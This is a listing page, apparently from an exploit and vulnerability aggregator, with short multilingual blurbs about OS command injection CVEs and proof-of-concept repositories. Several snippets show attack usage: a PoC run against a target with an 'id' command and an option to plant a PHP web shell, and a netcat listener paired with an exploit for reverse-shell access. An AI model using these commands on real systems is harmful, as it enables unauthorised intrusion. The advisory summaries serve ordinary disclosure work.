CVE-2026-67599_ClearOS_RCE

Log Viewer のフィルターパラメータにおける OS コマンドインジェクション パッケージ: ClearFoundation テスト済みバージョン: ClearOS 7.9.1.342252 脆弱性タイプ: OS コマンドインジェクション CWE-78 重大度: 高 CVE : CVE-2026-67599 CVSS v3.1 ベクター: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H スコア: 7.2 この CVE-2026-67599 の割り当てと追跡を支援してくれた VulnCheck に感謝します。 製品説明 ClearOS...

CVE-2025-69212-PoC

CVE-2025-69212 - OpenSTAManager OS 명령 주입 PoC 사용법 의존성 설치: root@kitploit: pip install -r requirements.txt 단일 명령 실행 및 출력 확인: root@kitploit: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' 대신 영구적인 PHP 웹쉘 배포: root@kitploit: python3 cve-2025-69212poc.py -u...

beyondtrust-rce-scanner

CVE-2026-1731 — BeyondTrust Remote Support & PRA 事前認証RCE 概要 BeyondTrust Remote Support および Privileged Remote Access における重大な事前認証RCE。認証されていないリモート攻撃者が OS コマンドを実行できます。...

CVE-2023-6019

Ray OS コマンドインジェクション RCE（認証不要） 使用方法: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2021-1675

CVE-2021-1675 CVE-2021-1675: Windows プリンターサービスにおけるゼロデイ脆弱性 - すべてのオペレーティングシステムバージョンでエクスプロイトが利用可能 Microsoft が公式パッチをリリースするまでの間の緩和策として、私が見つけた方法の1つを紹介します。 管理者として Windows PowerShell で実行してください。 注: Servers.txt ドメイン内のすべてのサーバーを含め、プリントサーバーの役割がインストールされているサーバーは除外してください。 $server= Get-Content C:\Script\Servers.t...

aggressor_snippets

aggressorsnippets 独立したリポジトリにするまでもない、ランダムな小さなAggressorスニペット集 locate このAggressorエイリアスは、基盤となるLinux OSコマンドの locate...

CVE-2026-90444

A file-transfer interface that requires valid credentials accepts attacker-controlled filenames without restricting shell metacharacters. An automated process later constructs and runs a system command using the uploaded file's name, allowing an authenticated attacker to embed and execute arbitra...

tpwn

tpwn cve-2015-???? PoC os x 10.10.5 カーネルローカル特権昇格 この脆弱性は 10.11 で潰された 完全な writeup は etason hax してくれた unthreadedjb に shout out tpwn やその他の NULL Pointer Deference バグから身を守るには NULLGuard をインストール...

CVE-2026-14802

CVE-2026-14802 脆弱なソフトウェア名と影響を受けるバージョン create-react-app 5.0.2 より前のバージョン 説明 macOS 上では、react-dev-utils コンポーネントの openBrowser.js ファイル内の startBrowserProcess 関数が OS コマンドインジェクションを許容します。この問題により、指定された関数を操作することでリモートから悪用される可能性があります。 推奨事項 暫定的な回避策として、パッチが利用可能になるまで startBrowserProcess 関数の使用を制限してください。...

CVE-2026-89066

Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project...

CVE-2026-7863

Improper neutralization of special elements used in an OS command 'OS command injection' vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — ScadaBR脆弱性分析 技術的な脆弱性分析と、オープンソースのScadaBR SCADA/HMIプラットフォーム に影響を与えるCVE-2026-9645 に関するCVEブリーフィングです。 概要 CVE-2026-9645 は、ScadaBR における重大な認証済みリモートコード実行の脆弱性です。 作成済みのブリーフィングによると： 深刻度： 重大 CVSS v3.1： 9.9 脆弱性タイプ： 認証済みリモートコード実行 CWE： CWE-78 — OSコマンドインジェクション 影響を受ける製品： ScadaBR 必要なアクセス権：...

CVE-2026-89066 OS command injection in the task synthesis component in projen

Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project...

CVE-2026-89066 OS command injection in the task synthesis component in projen

Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project...

CVE-2026-89066

CVE-2026-89066 is an OS command injection vulnerability in the task synthesis component of projen (versions before 0.103.0 ). Shell metacharacters present in project configuration values and repository file names are interpolated unsanitized into generated task definitions, allowing arbitrary com...

EUVD-2026-76149

Improper neutralization of special elements used in an OS command 'OS command injection' vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5...

CVE-2026-7863 OS Command Injection in TUBITAK BILGEM's Pardus Software

Improper neutralization of special elements used in an OS command 'OS command injection' vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5...

CVE-2026-7863

CVE-2026-7863 is an OS command injection vulnerability in TUBITAK BILGEM's Pardus Software (versions before 1.0.5 ), caused by improper neutralization of special elements used in an OS command. The vulnerability is reachable via a local attack vector with low complexity , requires no privileges a...

CVE-2026-8301

Improper neutralization of special elements used in an OS command 'OS command injection' vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Boot Repair allows OS Command Injection. This issue affects Pardus Boot Repair: before 1.0.8...

CVE-2026-89010

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the syncserver daemon on TCP port 13136. The daemon...